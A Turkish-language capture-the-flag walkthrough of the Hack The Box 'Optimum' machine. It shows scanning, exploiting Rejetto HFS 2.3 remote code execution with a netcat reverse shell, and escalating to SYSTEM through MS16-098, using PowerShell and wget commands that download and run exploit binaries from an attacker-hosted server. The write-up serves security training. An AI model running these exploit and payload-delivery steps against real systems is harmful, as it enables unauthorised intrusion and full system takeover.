Hack The Box: Optimum Çözümü

0
1089
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Optimum isimli Kolay zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Optimum sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.8
  • İşletim Sistemi: Windows

 

A) Port Tarama

Tüm portlar için tarama yapıldığında 1 adet portun açık olduğu tespit edilmiştir.

nmap -p- –open -vvv -oN fullportscan 10.10.10.8

 

Açık port aşağıdaki gibidir:

  • 80/tcp

 

Ardından açık olduğu tespit edilen port üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve detaylı tarama gerçekleştirilir.

nmap -p 80 -vvv -sV -sC -oN versionscan 10.10.10.8

 

Not: Bu aşamada ek olarak UDP taraması da gerçekleştirilmiştir ancak herhangi bir açık port tespit edilememiştir.

nmap -sU -O -p- -oA nmap/udp 10.10.10.8

 

B) HTTP Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\80 portunda HTTP (HttpFileServer 2.3 uygulaması) servisi çalışmaktadır. İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde karşılaştığımız sayfa aşağıdaki gibidir.

 

Sayfa ve sayfaya ait kaynak kod incelendiğinde “Rejetto” ya ait olduğu ve diğer adıyla HFS, dosyaları yayınlamak ve paylaşmak için özel olarak tasarlanmış ücretsiz bir web sunucusu olduğu tespit edilmiştir.

 

Http File Server ile ilgili detaylı bilgi için kaynaklardaki Wikipedia sayfası incelenebilir.

 

C) Zafiyetin Keşfi

Ardından aşağıda ekran görüntüsünde verildiği şekilde söz konusu dosya paylaşım yazılımının ilgili versiyonuna ait Google üzerinden istismar araştırması gerçekleştirilmiştir.

site:exploit-db.com “HFS 2.3”

 

Gerçekleştirilen araştırmada söz konusu dosya paylaşım yazılımı üzerinde hedef sistemde uzaktan kod çalıştırmamızı sağlayacak exploitler bulunduğu tespit gözlemlenmiştir. Yukarıda ekran görüntüsünde verilmiş ilk istismara ait bağlantıya gidilerek kod incelenmiştir.

https://www.exploit-db.com/exploits/39161

 

İstismar kodunu açarak incelediğimizde kullanımı ve dikkat edilmesi gereken noktanın olarak not düşüldüğü gözlemlenmiş ve bunlar aşağıdaki ekran görüntüsünde işaretli olarak verilmiştir.

 

Ardından ilgili istismar kodu aşağıdaki komut ile saldırgan sisteme indirilmiştir.

wget https://www.exploit-db.com/raw/39161

 

Exploit kodunu çalıştırabilmek için ilk olarak ilgili exploit kodu içerisinde aşağıda ekran görüntüsünde belirtilen değerler (ip_addr, local_port) düzenlenmiştir.

 

Ardından ilgili istismar kodunu çalıştırmak için öncelikle yukarıdaki ekran görüntüsünde işaretlenilen notta belirtildiği üzere; saldırgan sistem üzerinde yürütülebilir bir “nc” dosyası barındıran dizinde HTTP sunucu başlatılması gerekmektedir. Bu amaçla aşağıda verilen adımlar izlenerek bulunulan dizin altına “nc.exe” dosyası kopyalanmıştır.

locate nc.exe
cp /user/share/windows-binaries/nc.exe .
ls -l

 

D) Zafiyetin Manuel İstismarı

Bu aşamada “nc.exe” dosyasını kopyaladığımız dizin üzerinde python ile HTTP sunucu başlatılmış, hedef sistem dinlenmeye başlanmış ve exploit çalıştırılarak hedef sistem üzerinde oturum elde edilmiştir. Bu amaçla aşağıdaki adımlar takip edilebilir.

python -m SimpleHTTPServer 80
nc -lvp 9090
python 39161.py 10.10.10.8 80

 

Hedef sistem üzerinden oturum elde edilmesi ve “user.txt.txt” dosyasının içeriğinin okunmasına ait ekran görüntüsü aşağıda verilmiştir.

type user.txt.txt

 

E) Zafiyetin MSF rejetto_hfs_exec Modülü İle İstismarı

Rejetto HttpFileServer 2.3 üzerindeki uzaktan kod çalıştırma zafiyetinin istismarı için MSF rejetto_hfs_exec istismar modülü de kullanılabilir.

use exploit/windows/http/rejetto_hfs_exec
set RHOST 10.10.10.8
set LHOST 10.10.xx.xx
set SRVHOST 10.10.xx.xx
set LPORT xxxxx
run

 

Böylece uygulama kullanıcısı (kostas) yetkisi ile komut satırı erişimi elde edilmiş olur.

 

F) Yetki Yükseltme Zafiyetinin Tespiti

Yetki yüksetlme aşamasında hedef sistem üzerinde ilk olarak çalıştırdığımız komut “systeminfo” komutudur. İlgili komuta ait çıktı aşağıdaki ekran görüntüsünde verilmiştir.

systeminfo

 

Söz konusu komuta ait çıktıyı incelediğimizde hedef sistemin “Microsoft Windows Server 2012 R2” işletim sistemine ve “x64” sistem tipine sahip olduğu tespit edilmiştir. Ayrıca ilgili işletim sistemi üzerinde 31 adet yamanın geçilmiş olduğu da gözlemlenmektedir. Bu detay göz önünde bulundurularak geçilmemiş herhangi bir yamanın var olup olmadığını tespit etmek adına bu aşamada hedef sistem üzerinde yama eksikliklerinden kaynaklanan güvenlik açıklıkları incelenmiştir. Bunun için “Windows-Exploit-Suggester” aracı kullanılmıştır.

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

 

İlgili aracı aşağıdaki adımları takip ederek indirebilir ve bağımlılıkları kurulabilir.

git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
pip install xlrd — upgrade

 

Aracı daha önce indirdiyseniz ve yama listesini güncellemek istiyorsanız aşağıdaki komutu çalıştırmanız yeterli olacaktır.

./windows-exploit-suggester.py — update

 

Söz konusu araç ile hedef sistem üzerindeki yama eksikliklerinden kaynaklı taramayı gerçekleştirebilmemiz için bizden iki parametre istenmektedir.

  • database: Güncel yama listesi
  • systeminfo: Hedef sisteme ait “systeminfo” çıktısı

İlgili parametreleri sağlayarak aşağıda detayları verildiği şekilde tarama gerçekleştirilir.

./windows-exploit-suggester.py –database 2020-03-29-mssb.xls –systeminfo sysinfo.txt

 

Not: Bu sanal makinede bulunan MS16-032 zafiyeti ile istismar işlemi için kaynaklardaki Siberportal yazısı incelenebilir.

 

F) MS16–098 Zafiyetinin İstismarı ile Yetki Yükseltme – I

Yukarıdaki ekran görüntüsünde görüldüğü üzere söz konusu hedef sistem üzerinde yama eksikliğinden kaynaklanan birden fazla güvenlik açıklığı bulunmaktadır. Bu makalede bu açıklıklardan biri olan MS16–098 (RGNOBJ Integer Overflow) açıklığı istismar edilerek sistem üzerinde “NT Authority\SYSTEM” hakları elde edilecektir.

Söz konusu zafiyete ait istismar kodu Google üzerinden araştırıldığında aşağıda adresi verilen repoda derlenmiş halinin bulunduğu tespit edilmiştir.

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098

 

İlk olarak istismar edecek ilgili dosya, saldırgan sisteme indirilir.

wget https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-098/bfill.exe

 

Ardından öncelikli olarak python ile HTTP sunucu başlatılır ve powershell kullanarak hedef makineye “bfill.exe” dosyası yüklenir.

powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.34:9080/bfill.exe’, ‘C:\Users\kostas\Desktop\bfill.exe’)”

 

Hedef sistem üzerinden “bfill.exe” exploitinin çalıştırılarak “NT Authority\System” haklarında oturum elde edilmesine ait ekran görüntüsü aşağıda verilmiştir.

bfill.exe
whoami

 

Son olarak “root.txt” dosyasının tespitine ait ekran görüntüsü aşağıda verilmiştir.

dir C:\ /s/b | find /i “root.txt”

 

G) MS16–098 Zafiyetinin İstismarı ile Yetki Yükseltme – II

MS16–098 (RGNOBJ Integer Overflow) zafiyetinin tespiti için searchsploit aracı kullanılabilir.

searchsploit m16-098

 

Zafiyete ait çalıştırılabilir dosya Github‘daki Offensive Security hesabında da bulunmaktadır.

https://www.exploit-db.com/exploits/41020
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe

 

41020.exe isimli bu dosya Kali makineye indirilir.

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe

 

Python ile bir web servis başlatılır.

python -m SimpleHTTPServer 80

 

Uygulama kullanıcı (kostas) yetkisi ile erişim elde edilen kurban Windows makinenin komut satırından bu dosya indirilerek kaydedilir ve çalıştırılır.

powershell wget “http://10.10.14.xx/41020.exe” -outfile “exploit.exe”
exploit.exe

 

Kaynaklar:

https://pentestworld.blogspot.com/2020/04/hack-box-optimum.html
https://en.wikipedia.org/wiki/HTTP_File_Server
https://gist.github.com/berzerk0/78e6af81c33e3bd5988de2adf8529e4e
https://medium.com/@ranakhalil101/hack-the-box-optimum-writeup-w-o-metasploit-3a912e1c488c
https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/
https://www.siberportal.org/red-team/windows-operating-system-penetration-tests/local-privilege-escalation-by-exploiting-ms16-032-vulnerability-via-powershell-script/

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.